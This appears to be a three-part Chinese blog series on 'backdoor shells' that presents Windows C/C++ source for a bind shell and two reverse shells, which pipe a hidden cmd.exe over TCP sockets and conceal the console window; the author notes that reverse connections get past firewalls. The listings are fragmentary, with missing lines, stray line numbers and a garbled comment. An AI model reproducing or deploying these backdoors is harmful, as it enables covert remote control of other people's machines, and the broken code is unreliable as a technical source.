后门shell各种奇怪的玩法(一)

```
无通道链接的后门shell
     #define _CRT_SECURE_NO_WARNINGS
     #define _WINSOCK_DEPRECATED_NO_WARNINGS
     #include <iostream>
     #include <iostream>
     #define CMD_LINE_LEN 512
     #define RECV_BUF_LEN 4096
     using namespace std;
    #pragma comment(lib, "ws2_32.lib")
         iRet = ExpandEnvironmentStringsA("%COMSPEC%", pszResultBuf, nSize);
30
             GetSystemDirectory(pszResultBuf, nSize);
             strcat_s(pszResultBuf, nSize - strlen(pszResultBuf), " /c ");
         WSADATA wsaData = { 0 };
         SOCKET hSock = INVALID_SOCKET;
         SOCKET hClntSock = INVALID_SOCKET;
         SOCKADDR_IN stClntSockAddr = { 0 };
         SOCKADDR_IN stSockAddr = { 0 };
         char szCmdLine[CMD_LINE_LEN] = { 0 };
         PROCESS_INFORMATION pi = { 0 };
             iRet = WSAStartup(MAKEWORD(2, 2), &wsaData);
             if (SOCKET_ERROR == iRet)
             hSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
             if (INVALID_SOCKET == hSock)
```

```
stSockAddr.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
              stSockAddr.sin_port = htons(uiPort);
70
              stSockAddr.sin_family = AF_INET;
              if (SOCKET_ERROR == iRet)
                  break;
              if (SOCKET_ERROR == iRet)
                  break;
              hClntSock = accept(hSock, (SOCKADDR *)&stClntSockAddr, &iSizeOfSockAddr);
              if (INVALID_SOCKET == hClntSock)
                  break;
              si.cb = sizeof(STARTUPINFO);
              si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
              si.wShowWindow = SW_HIDE;
              if (!GetCmdPath(szCmdLine, CMD_LINE_LEN))
                  break;
100
                  break;
104
              WaitForSingleObject(pi.hProcess, INFINITE);
          if (INVALID_SOCKET != hSock)
              hSock = INVALID_SOCKET;
          if (INVALID_SOCKET != hClntSock)
              hClntSock = INVALID_SOCKET;
      int APIENTRY WinMain(HINSTANCE hInstance,
          LPTSTR
                   nCmdShow)
```

139 return 0; 140 }

后门shell各种奇怪的玩法(二)

```
单管道主动型后门(反弹Shell)
     这个后门的最大特点是控方作为服务端而被控端为客户端, 由于是由被控端主动请求连接主控端,所以不会
     有防火墙阻止之类的问题
    #include <winsock2.h>
    #include <windows.h>
    #include <iostream>
    #include <cstring>
    #define CMD_LEN_BUF 512
    #define RECV_LEN_BUF 4096
    #pragma comment(lib, "ws2_32.lib")
    using namespace std;
        HANDLE hPipe;
    DWORD WINAPI RecvResultAndSendToServer(LPVOID lpThreadParameter)
        ThreadInfoNode stNode = *(ThreadInfoNode *)lpThreadParameter;
        HANDLE hPipe = stNode.hPipe;
        char szBuf[RECV_LEN_BUF] = {0};
30
        DWORD dwTotalAvail = 0;
        BOOL fOk = FALSE;
        DWORD dwReaded = 0;
        while (!fExit)
            fOk = PeekNamedPipe(hPipe, NULL, 0, NULL, &dwTotalAvail, NULL);
            if (f0k && dwTotalAvail > 0)
                fOk = ReadFile(hPipe, szBuf, RECV_LEN_BUF, &dwReaded, NULL);
                if (fOk && dwReaded > 0)
                    int iCurr = 0;
                    int iOffset = 0;
                       if (!iCurr || iCurr == SOCKET_ERROR)
                RtlZeroMemory(szBuf, RECV_LEN_BUF);
60
```

```
BOOL GetCmdPath(char *pszResultBuf, size_t nSize, const char *pcszCmd = "")
          int iRet = 0;
70
          iRet = ExpandEnvironmentStringsA("%COMSPEC%", pszResultBuf, nSize);
              GetSystemDirectory(pszResultBuf, nSize);
              strcat_s(pszResultBuf, nSize - strlen(pszResultBuf), "\cmd.exe");
              strcat_s(pszResultBuf, nSize - strlen(pszResultBuf), " /c ");
              strcat_s(pszResultBuf, nSize - strlen(pszResultBuf), pcszCmd);
      BOOL StartShell(const char *pcszIP, UINT uiPort)
          SOCKET hSock = INVALID_SOCKET;
          SOCKADDR_IN stSockAddr = {0};
          HANDLE hReadPipe = NULL, hWritePipe = NULL;
          SECURITY_ATTRIBUTES sa = {0};
          PROCESS_INFORMATION pi = {0};
100
          if (NULL == pcszIP)
104
107
              if (SOCKET_ERROR == WSAStartup(MAKEWORD(2, 2), &stData))
                  return(FALSE);
              hSock = socket(AF_INET, SOCK_STREAM, 0);
              if (INVALID_SOCKET == hSock)
              stSockAddr.sin_family = AF_INET;
              stSockAddr.sin_port = htons(uiPort);
              stSockAddr.sin_addr.S_un.S_addr = inet_addr(pcszIP);
                  Sleep(500);
              } while (SOCKET_ERROR == iRet);
              sa.nLength = sizeof(sa);
              if (!CreatePipe(&hReadPipe, &hWritePipe, &sa, 0))
              si.cb = sizeof(STARTUPINFO);
```

```
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
              si.wShowWindow = SW_HIDE;
              si.hStdError = si.hStdOutput = hWritePipe;
140
              ThreadInfoNode stNode = {hReadPipe, hSock};
              char szCmdLine[CMD_LEN_BUF] = {0};
              char szCmdBuf[CMD_LEN_BUF] = {0};
              do
                  // get command from remote server
                  iRet = recv(hSock, szCmdBuf, CMD_LEN_BUF, 0);
                  if (!iRet || SOCKET_ERROR == iRet)
                  if (!GetCmdPath(szCmdLine, CMD_LEN_BUF, szCmdBuf))
170
                  RtlZeroMemory(szCmdBuf, CMD_LEN_BUF);
              WaitForSingleObject(hThread, INFINITE);
180
              if (NULL != hReadPipe)
                  CloseHandle(hReadPipe);
              if (NULL != hWritePipe)
                  CloseHandle(hWritePipe);
                  hWritePipe = NULL;
              if (INVALID_SOCKET != hSock)
                  hSock = INVALID_SOCKET;
200
204
208
```

后门shell各种奇怪的玩法(三)

```
后门分为主动连接型和反向连接型,区别就是一个是后门程序作为服务端,另一个是后门程序作为客户端。
    双管道的原因:cmd执行结果写入管道1写句柄,后门从管道1读句柄读取cmd执行结果,后门接受到的命令通
    过管道2的写句柄写入,cmd通过管道2的读句柄读出。
    多的不说,直接上代码,我觉得注释还是比较详细了
    #include<iostream>
    #include<stdlib.h>
    #include<string.h>
    #pragma comment(lib,"ws2_32.lib")
    SOCKET Connecting(unsigned short Port);
    void CmdLine(SOCKET s);
       Hide():
20
       s = Connecting(8888);
       return 0;
    SOCKET Connecting(unsigned short Port) {
30
       WSADATA wsa;
       if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0)
           return SOCKET_ERROR;
       //创建套接字
       SOCKET s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
       if (s == INVALID_SOCKET)
           return SOCKET_ERROR;
       //对sockaddr_in结构体填充地址,端口等信息
       ServerAddr.sin_family = AF_INET;
       ServerAddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
       ServerAddr.sin_port = htons(Port);
       //连接服务器
       //双管道读写句柄
       HANDLE hReadPipe1, hWritePipe1, hReadPipe2, hWritePipe2;
       //对SECURITY_ATTRIBUTES结构体进行填充
```

```
se.bInheritHandle = true;
         //创建管道
         //刨建自追
CreatePipe(&hReadPipe1, &hWritePipe1, &se, 0);
                                                        //管道1
         CreatePipe(&hReadPipe2, &hWritePipe2, &se, 0);
                                                        //管道2
         //指定cmd的启动信息
         STARTUPINFO si;
         si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
         si.hStdInput = hReadPipe2;
         si.hStdOutput = si.hStdError = hWritePipe1;
         PROCESS INFORMATION Pro;
         //创建进程
         CreateProcess(NULL,cmdline, NULL, NULL, 1, 0, NULL, NULL, &si, &Pro);
            unsigned long lBytesRead;
            //查看cmd是否有输出
            PeekNamedPipe(hReadPipe1, Buff, 1024, &lBytesRead, 0, 0);
            if (lBytesRead)
                //读取cmd的输出,发送到客户端
                ReadFile(hReadPipe1, Buff, lBytesRead, &lBytesRead, 0);
                    send(s, Buff, lBytesRead, 0);
                //接收客户端命令
                lBytesRead = recv(s, Buff, 1024, 0);
                //把命令传给cmd
                WriteFile(hWritePipe2, Buff, lBytesRead, &lBytesRead, 0);
100
         hwnd = FindWindow("ConsoleWindowClass", NULL); //处理顶级窗口的类名和窗口名称匹配指定
     的字符串,不搜索子窗口。
            ShowWindow(hwnd, SW_HIDE);
                                        //设置指定窗口的显示状态
         return 0;
```